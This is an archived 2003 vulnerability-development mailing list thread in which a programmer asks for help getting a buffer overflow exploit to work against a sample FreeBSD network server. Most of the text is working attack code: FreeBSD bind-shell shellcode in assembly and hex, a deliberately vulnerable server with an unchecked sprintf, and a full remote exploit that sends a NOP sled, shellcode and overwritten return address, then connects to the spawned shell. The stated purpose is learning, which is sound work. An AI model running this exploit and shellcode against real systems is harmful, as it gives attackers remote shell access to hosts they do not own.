Vulnerability Development mailing list archives

RE: sample buffer overflow exploit problem


From: Ganbold <ganbold () micom mng net>
Date: Tue, 30 Sep 2003 10:07:50 +0900

Hi,

Thanks for reply. I tried port binding shellcode as application and it works fine.

But when I try it in exploit, it binds port to shell but whenever I connect to it it just closes connection.

Following is the code:

/*
 * FreeBSD shellcode - binds /bin/sh to a port
 *
 * Claes M. Nyberg 20020619
 *
 * <cmn () darklab org>, <md0claes () mdstud chalmers se>
 */

#include <string.h>

/*********************************************************************
void
main(void)
{

__asm__("
         # Length of address
         pushl   $0x10        # addrlen = 16, sizeof(struct sockaddr_in)
         movl    %esp, %ecx   # ecx = &addrlen

         # Client address
         subl    $0x10, %esp  # 16 bytes of stack-crap
         movl    %esp, %ebx   # ebx = &client

         # Zero out and set up server address
         xorl    %eax, %eax   # eax = 0
         pushl   %eax
         pushl   %eax         # sin_zero[8]
         pushl   %eax         # sin_addr.s_addr = INADDR_ANY
         pushw   $0x3930      # Port (12345)
         movb    $0x20, %ah   # sin_family = AF_INET;
         pushw   %ax          #
         movl    %esp, %edx   # edx = &server

         # Create socket
         pushl   $0x6         # IPPROTO_TCP
         pushl   $0x1         # SOCK_STREAM
         pushl   $0x2         # AF_INET
         pushl   %eax         # Dummy
         xorb    %ah, %ah     # ah = 0
         movb    $0x61, %al   # eax = 97 = SYS_socket
         int     $0x80        # socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
         movl    %eax, %edi   # edi = (server_fd) server socket descriptor

         # Bind address to socket
         pushl   $0x10        # addrlen (16)
         pushl   %edx         # &server
         pushl   %eax         # eax (server_fd)
         pushl   %eax         # Dummy
         movb    $0x68, %al   # eax = 104 = SYS_bind
         int     $0x80        # bind(server_fd, &server, addrlen);

         # Listen
         xorl    %eax, %eax   # eax = 0
         pushl   %eax         # backlog = 0
         pushl   %edi         # (server_fd) server socket descriptor
         pushl   %eax         # Dummy
         addl    $0x6a, %eax  # eax = 106 = SYS_listen
         int     $0x80        # listen(server_fd, 0);

         # Accept connection
         pushl   %ecx         # &addrlen
         pushl   %ebx         # &client
         pushl   %edi         # (server_fd) server socket descriptor
         pushl   %eax         # Dummy
         movb    $0x1e, %al   # eax = 30 = SYS_accept
         int     $0x80        # accept(server_fd, &client, &addrlen);
         movl    %eax, %ebx   # ebx = (client_fd) client socket descriptor

         # Set up IO
         xorl    %eax, %eax   # eax = 0
         pushl   %eax         # STDIN_FILENO
         pushl   %ebx         # client_fd
         pushl   %eax         # Dummy
         movb    $0x5a, %al   # eax = 90 = SYS_dup2
         int     $0x80        # dup2(client_fd, STDIN_FILENO);

         movb    $0x1, %al    # eax = 1
         pushl   %eax         # STDOUT_FILENO
         pushl   %ebx         # client_fd
         pushl   %eax         # Dummy
         addl    $0x59, %eax  # eax += 89, eax = 90 = SYS_dup2
         int     $0x80        # dup2(client_fd, STDOUT_FILENO);

         movb    $0x2, %al    # eax = 2
         pushl   %eax         # STDERR_FILENO
         pushl   %ebx         # client_fd
         pushl   %eax         # Dummy
         addl    $0x58, %eax  # eax += 88, eax = 90 = SYS_dup2
         int     $0x80        # dup2(client_fd, STDERR_FILENO);

         # Execve /bin/sh
         xorl    %eax, %eax   # eax = 0
         pushl   %eax         # string ends with NULL
         pushl   $0x68732f2f  # push 'hs//' (//sh)
         pushl   $0x6e69622f  # push 'nib/' (/bin)
         movl    %esp, %ebx   # ebx = argv[0] = string addr
         pushl   %eax         # argv[1] = NULL
         pushl   %ebx         # argv[0] = /bin//sh
         movl    %esp, %edx   # edx = &argv[0]
         pushl   %eax         # envp = NULL
         pushl   %edx         # &argv[0]
         pushl   %ebx         # *path = argv[0]
         pushl   %eax         # Dummy
         movb    $0x3b, %al   # al = 59 = SYS_execve
         int     $0x80        # execve(argv[0], argv, NULL)

         # Exit if SYS_execve failed
         xorl    %eax, %eax   # eax = 0
         inc     %eax         # eax = 1
         pushl   %eax         # Exit value = 1
         pushl   %eax         # Dummy
         int     $0x80        # exit(1) (eax = 1 = SYS_exit)
    ");
}
******************************************************************/


static char freebsd_code[] =

    /* Length of address */
    "\x6a\x10"              /* pushl   $0x10        */
    "\x89\xe1"              /* movl    %esp, %ecx   */

    /* Client address */
    "\x83\xec\x10"          /* subl    $0x10, %esp  */
    "\x89\xe3"              /* movl    %esp, %ebx   */

    /* Zero out and set up server address */
    "\x31\xc0"              /* xorl    %eax, %eax   */
    "\x50"                  /* pushl   %eax         */
    "\x50"                  /* pushl   %eax         */
    "\x50"                  /* pushl   %eax         */
    "\x66\x68\x30\x39"      /* pushw   $0x3930 << port (12345)     */
    "\xb4\x20"              /* movb    $0x20, %ah   */
    "\x66\x50"              /* pushw   %ax          */
    "\x89\xe2"              /* movl    %esp, %edx   */

    /* Create socket */
    "\x6a\x06"              /* pushl   $0x6         */
    "\x6a\x01"              /* pushl   $0x1         */
    "\x6a\x02"              /* pushl   $0x2         */
        "\x50"                  /* pushl   %eax         */
    "\x30\xe4"              /* xorb    %ah, %ah     */
    "\xb0\x61"              /* movb    $0x61, %al   */
    "\xcd\x80"              /* int     $0x80        */
    "\x89\xc7"              /* movl    %eax, %edi   */

    /* Bind address to socket */
    "\x6a\x10"              /* pushl   $0x10        */
    "\x52"                  /* pushl   %edx         */
    "\x50"                  /* pushl   %eax         */
    "\x50"                  /* pushl   %eax         */
    "\xb0\x68"              /* movb    $0x68, %al   */
    "\xcd\x80"              /* int     $0x80        */

    /* Listen */
    "\x31\xc0"              /* xorl    %eax, %eax   */
    "\x50"                  /* pushl   %eax         */
    "\x57"                  /* pushl   %edi         */
    "\x50"                  /* pushl   %eax         */
    "\x83\xc0\x6a"          /* addl    $0x6a, %eax  */
    "\xcd\x80"              /* int     $0x80        */

    /* Accept connection */
    "\x51"                  /* pushl   %ecx         */
    "\x53"                  /* pushl   %ebx         */
    "\x57"                  /* pushl   %edi         */
    "\x50"                  /* pushl   %eax         */
    "\xb0\x1e"              /* movb    $0x1e, %al   */
    "\xcd\x80"              /* int     $0x80        */
    "\x89\xc3"              /* movl    %eax, %ebx   */

    /* Set up IO */
    "\x31\xc0"              /* xorl    %eax, %eax   */
    "\x50"                  /* pushl   %eax         */
    "\x53"                  /* pushl   %ebx         */
    "\x50"                  /* pushl   %eax         */
    "\xb0\x5a"              /* movb    $0x5a, %al   */
    "\xcd\x80"              /* int     $0x80        */

    "\xb0\x01"              /* movb    $0x1, %al    */
    "\x50"                  /* pushl   %eax         */
    "\x53"                  /* pushl   %ebx         */
    "\x50"                  /* pushl   %eax         */
    "\x83\xc0\x59"          /* addl    $0x59, %eax  */
    "\xcd\x80"              /* int     $0x80        */

    "\xb0\x02"              /* movb    $0x2, %al    */
    "\x50"                  /* pushl   %eax         */
    "\x53"                  /* pushl   %ebx         */
    "\x50"                  /* pushl   %eax         */
    "\x83\xc0\x58"          /* addl    $0x58, %eax  */
    "\xcd\x80"              /* int     $0x80        */

    /* Execve /bin/sh */
    "\x31\xc0"              /* xorl    %eax, %eax   */
    "\x50"                  /* pushl   %eax         */
    "\x68\x2f\x2f\x73\x68"  /* pushl   $0x68732f2f  */
    "\x68\x2f\x62\x69\x6e"  /* pushl   $0x6e69622f  */
    "\x89\xe3"              /* movl    %esp, %ebx   */
    "\x50"                  /* pushl   %eax         */
    "\x53"                  /* pushl   %ebx         */
    "\x89\xe2"              /* movl    %esp, %edx   */
    "\x50"                  /* pushl   %eax         */
    "\x52"                  /* pushl   %edx         */
    "\x53"                  /* pushl   %ebx         */
    "\x50"                  /* pushl   %eax         */
    "\xb0\x3b"              /* movb    $0x3b, %al   */
    "\xcd\x80"              /* int     $0x80        */

    /* Exit if SYS_execve failed */
    "\x31\xc0"              /* xorl    %eax, %eax   */
    "\x40"                  /* inc     %eax         */
    "\x50"                  /* pushl   %eax         */
    "\x50"                  /* pushl   %eax         */
    "\xcd\x80";             /* int     $0x80        */

static char _freebsd_code[] = /* port _______*/
        "\x6a\x10\x89\xe1\x83\xec\x10\x89\xe3\x31\xc0\x50\x50\x50\x66\x68\x30\x39"
        "\xb4\x20\x66\x50\x89\xe2\x6a\x06\x6a\x01\x6a\x02\x50\x30\xe4\xb0\x61\xcd"
        "\x80\x89\xc7\x6a\x10\x52\x50\x50\xb0\x68\xcd\x80\x31\xc0\x50\x57\x50\x83"
        "\xc0\x6a\xcd\x80\x51\x53\x57\x50\xb0\x1e\xcd\x80\x89\xc3\x31\xc0\x50\x53"
        "\x50\xb0\x5a\xcd\x80\xb0\x01\x50\x53\x50\x83\xc0\x59\xcd\x80\xb0\x02\x50"
        "\x53\x50\x83\xc0\x58\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62"
        "\x69\x6e\x89\xe3\x50\x53\x89\xe2\x50\x52\x53\x50\xb0\x3b\xcd\x80\x31\xc0"
        "\x40\x50\x50\xcd\x80";

int
main(void)
{
    int *ret;
    ret = (int *)&ret +2;
        printf("Shellcode length: %d\n", strlen(_freebsd_code));

    *ret = (int)_freebsd_code;
        return(1);
}



At 02:00 PM 9/29/2003 -0700, you wrote:
IMHO, try writing a plain app that does the same thing, and see if that
works. It would narrow it down to a problem with system configuration,
or a problem with your shell code. Just a guess...

-----Original Message-----
From: Ganbold [mailto:ganbold () micom mng net]
Sent: Saturday, September 27, 2003 10:54 PM
To: deepcode .
Cc: vuln-dev () securityfocus com
Subject: Re: sample buffer overflow exploit problem

Hi,

I'm trying to connect from same host where I run exploit and where
daemon
is running. So exploit seems bind port and afterwards when I'm trying to

connect to port using :
telnet localhost 12345
it just drops and program or port binding just ends.
Should I try to connect it from different hosts?

Ganbold



At 11:37 PM 9/27/2003 -0300, you wrote:

>You say that you can connect after the exploit, but then the connection

>gets dropped immediately afterwards... is there a firewall in place?
>
>>From: Ganbold <ganbold () micom mng net>
>>To: vuln-dev () securityfocus com
>>Subject: sample buffer overflow exploit problem
>>Date: Sat, 27 Sep 2003 16:54:59 +0900
>>
>>Hi,
>>
>>I'm very new to buffer overflow exploit technics and my boss wants me
to
>>thoroughly understand
>>how it works. I'm trying to exploit sample network server in FreeBSD
5.1
>>for this purpose.
>>When I try to exploit using execve /bin/sh (shellcode1), it works and
>>launches the shell in the remote machine.
>>However when I try to use port binding shell code, it binds shell to
the
>>port, but when I try to connect to
>>it, it just closes the connection. Also I can't connect to bind port
>>after sending buffer using following code snippets:
>>..............
>>         printf("[-] Connecting to bindshell...\n");
>>         remote.sin_family = AF_INET;
>>         remote.sin_addr = *((struct in_addr *)host->h_addr);
>>         remote.sin_port = htons(12345);
>>         if (connect(s, (struct sockaddr *)&remote,
sizeof(remote))==-1)
>>         {
>>                 close(s);
>>                 fprintf(stderr, "Error: connect\n");
>>                 return -1;
>>         }
>>         exec_sh(s);
>>...............
>>
>>I appreciate if somebody give me some help to solve this test problem.
>>Is there anywhere I can find detailed explanation about buffer
overflows
>>and working sample network exploits?
>>Is there anyway I can generate shellcodes in FreeBSD?
>>
>>I attached my sample server code and exploit code.
>>
>>thanks in advance,
>>
>>Ganbold Ts,
>>
>>senior programmer,
>>Micom Co., Ltd
>>Ulaanbaatar,
>>Mongolia
>>
>>
>>
>>Following is network server code:
>>----------------------------------------------------------------------
----------------------------------------------------------
>>#include <stdio.h>
>>#include <netinet/in.h>
>>#include <netdb.h>
>>#include <sys/socket.h>
>>#include <sys/types.h>
>>#include <errno.h>
>>
>>#define BUFFER_SIZE 1024
>>#define NAME_SIZE 2048
>>
>>int handle(int c)
>>{
>>         char buffer[BUFFER_SIZE], name[NAME_SIZE];
>>         int bytes;
>>         strcpy(buffer, "Your name?: ");
>>         bytes = send(c, buffer, strlen(buffer), 0);
>>         if (bytes == -1)
>>                 return -1;
>>         bytes = recv(c, name, sizeof(name), 0);
>>         if (bytes == -1)
>>                 return -1;
>>         name[bytes - 1] = '\0';
>>         sprintf(buffer, "Hello %s, nice to meet you!\r\n", name);
>>         bytes = send(c, buffer, strlen(buffer), 0);
>>         if (bytes == -1)
>>                 return -1;
>>         return 0;
>>}
>>
>>
>>int main(int argc, char *argv[])
>>{
>>         int s, c, cli_size;
>>         struct sockaddr_in srv, cli;
>>         if (argc != 2)
>>         {
>>                 fprintf(stderr, "usage: %s port\n", argv[0]);
>>                 return 1;
>>         }
>>         s = socket(AF_INET, SOCK_STREAM, 0);
>>         if (s == -1)
>>         {
>>                 perror("socket() failed");
>>                 return 2;
>>         }
>>         srv.sin_addr.s_addr = INADDR_ANY;
>>         srv.sin_port = htons( (unsigned short int) atol(argv[1]));
>>         srv.sin_family = AF_INET;
>>         if (bind(s, &srv, sizeof(srv)) == -1)
>>         {
>>                 perror("bind() failed");
>>                 return 3;
>>         }
>>         if (listen(s, 3) == -1)
>>         {
>>                 perror("listen() failed");
>>                 return 4;
>>         }
>>         for(;;)
>>         {
>>                 c = accept(s, &cli, &cli_size);
>>                 if (c == -1)
>>                 {
>>                         perror("accept() failed");
>>                         return 5;
>>                 }
>>                 fprintf(stderr,"client from %s\n",
inet_ntoa(cli.sin_addr));
>>                 if (handle(c) == -1)
>>                         fprintf(stderr, "%s: handle() failed",
argv[0]);
>>                 close(c);
>>         }
>>         return 0;
>>}
>>----------------------------------------------------------------------
----------------------------------------------------------
>>
>>Following is the sample exploit code:
>>----------------------------------------------------------------------
----------------------------------------------------------
>>#include <stdio.h>
>>#include <netinet/in.h>
>>#include <netdb.h>
>>#include <sys/socket.h>
>>#include <sys/types.h>
>>#include <errno.h>
>>#include <unistd.h>
>>
>>/*
>>  * FreeBSD shellcode - binds /bin/sh to a port 12345
>>  *
>>  * Claes M. Nyberg 20020619
>>  *
>>  * <cmn () darklab org>, <md0claes () mdstud chalmers se>
>>  */
>>char shellcode[] = /* port _______*/
>>
>>"\x6a\x10\x89\xe1\x83\xec\x10\x89\xe3\x31\xc0\x50\x50\x50\x66\x68\x30\
x39"
>>
>>"\xb4\x20\x66\x50\x89\xe2\x6a\x06\x6a\x01\x6a\x02\x50\x30\xe4\xb0\x61\
xcd"
>>
>>"\x80\x89\xc7\x6a\x10\x52\x50\x50\xb0\x68\xcd\x80\x31\xc0\x50\x57\x50\
x83"
>>
>>"\xc0\x6a\xcd\x80\x51\x53\x57\x50\xb0\x1e\xcd\x80\x89\xc3\x31\xc0\x50\
x53"
>>
>>"\x50\xb0\x5a\xcd\x80\xb0\x01\x50\x53\x50\x83\xc0\x59\xcd\x80\xb0\x02\
x50"
>>
>>"\x53\x50\x83\xc0\x58\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\
x62"
>>
>>"\x69\x6e\x89\xe3\x50\x53\x89\xe2\x50\x52\x53\x50\xb0\x3b\xcd\x80\x31\
xc0"
>>         "\x40\x50\x50\xcd\x80";
>>
>>/*
>>  * FreeBSD shellcode - execve /bin/sh
>>  *
>>  * Claes M. Nyberg 20020120
>>  *
>>  * <cmn () darklab org>, <md0claes () mdstud chalmers se>
>>  */
>>char shellcode1[] =
>>     "\x31\xc0"               /* xorl    %eax, %eax  */
>>     "\x50"                   /* pushl   %eax        */
>>     "\x68\x2f\x2f\x73\x68"   /* pushl   $0x68732f2f */
>>     "\x68\x2f\x62\x69\x6e"   /* pushl   $0x6e69622f */
>>     "\x89\xe3"               /* movl    %esp, %ebx  */
>>     "\x50"                   /* pushl   %eax        */
>>     "\x53"                   /* pushl   %ebx        */
>>     "\x89\xe2"               /* movl    %esp, %edx  */
>>     "\x50"                   /* pushl   %eax        */
>>     "\x52"                   /* pushl   %edx        */
>>     "\x53"                   /* pushl   %ebx        */
>>     "\x50"                   /* pushl   %eax        */
>>     "\xb0\x3b"               /* movb    $0x3b, %al  */
>>     "\xcd\x80"               /* int     $0x80       */
>>     "\x31\xc0"               /* xorl    %eax, %eax  */
>>     "\x40"                   /* inc     %eax        */
>>     "\x50"                   /* pushl   %eax        */
>>     "\x50"                   /* pushl   %eax        */
>>     "\xcd\x80";              /* int     $0x80       */
>>
>>#define RET 0xbfbffa48
>>
>>int exec_sh(int sockfd)
>>{
>>         char snd[4096],rcv[4096];
>>         fd_set rset;
>>         while(1)
>>         {
>>                 FD_ZERO(&rset);
>>                 FD_SET(fileno(stdin),&rset);
>>                 FD_SET(sockfd,&rset);
>>                 select(255,&rset,NULL,NULL,NULL);
>>                 if(FD_ISSET(fileno(stdin),&rset))
>>                 {
>>                         memset(snd,0,sizeof(snd));
>>                         fgets(snd,sizeof(snd),stdin);
>>                         write(sockfd,snd,strlen(snd));
>>                 }
>>                 if(FD_ISSET(sockfd,&rset))
>>                 {
>>                         memset(rcv,0,sizeof(rcv));
>>                         if(read(sockfd,rcv,sizeof(rcv))<=0)
>>                                 exit(0);
>>                         fputs(rcv,stdout);
>>                 }
>>         }
>>}
>>
>>int main(int argc, char *argv[]) {
>>
>>         char buffer[1064];
>>         int s,t, i, size;
>>         struct sockaddr_in remote;
>>         struct hostent *host;
>>
>>         if(argc != 3) {
>>                 printf("Usage: %s target-ip port\n", argv[0]);
>>                 return -1;
>>         }
>>
>>         // filling buffer with NOPs
>>         memset(buffer, 0x90, 1064);
>>
>>         //copying shellcode into buffer
>>         memcpy(buffer+1001-sizeof(shellcode) , shellcode,
>> sizeof(shellcode));
>>
>>         // the previous statement causes a unintential Nullbyte at
>> buffer[1000]
>>         buffer[1000] = 0x90;
>>
>>         // Copying the return address multiple times at the end of
the
>> buffer...
>>         for(i=1022; i < 1059; i+=4) {
>>                 * ((int *) &buffer[i]) = RET;
>>         }
>>
>>         buffer[1063] = 0x0;
>>
>>         //getting hostname
>>
>>         host=gethostbyname(argv[1]);
>>         if (host==NULL)
>>         {
>>                 fprintf(stderr, "Unknown Host %s\n",argv[1]);
>>                 return -1;
>>         }
>>
>>         // creating socket...
>>         s = socket(AF_INET, SOCK_STREAM, 0);
>>         if (s < 0)
>>         {
>>                 fprintf(stderr, "Error: Socket\n");
>>                 return -1;
>>         }
>>         remote.sin_family = AF_INET;
>>         remote.sin_addr = *((struct in_addr *)host->h_addr);
>>         remote.sin_port = htons(atoi(argv[2]));
>>         // connecting with destination host
>>         if (connect(s, (struct sockaddr *)&remote,
sizeof(remote))==-1)
>>         {
>>                 close(s);
>>                 fprintf(stderr, "Error: connect\n");
>>                 return -1;
>>         }
>>         //sending exploit string
>>         size = send(s, buffer, sizeof(buffer), 0);
>>         if (size==-1)
>>         {
>>                 close(s);
>>                 fprintf(stderr, "sending data failed\n");
>>                 return -1;
>>         }
>>/*
>>         printf("[-] Connecting to bindshell...\n");
>>         remote.sin_family = AF_INET;
>>         remote.sin_addr = *((struct in_addr *)host->h_addr);
>>         remote.sin_port = htons(12345);
>>         if (connect(s, (struct sockaddr *)&remote,
sizeof(remote))==-1)
>>         {
>>                 close(s);
>>                 fprintf(stderr, "Error: connect\n");
>>                 return -1;
>>         }
>>         exec_sh(s);
>>*/
>>         // closing socket
>>         close(s);
>>}
>>
>>----------------------------------------------------------------------
----------------------------------------------------------
>>
>>
>
>_________________________________________________________________
>STOP MORE SPAM with the new MSN 8 and get 2 months FREE*
>http://join.msn.com/?page=features/junkmail
>
>


Current thread: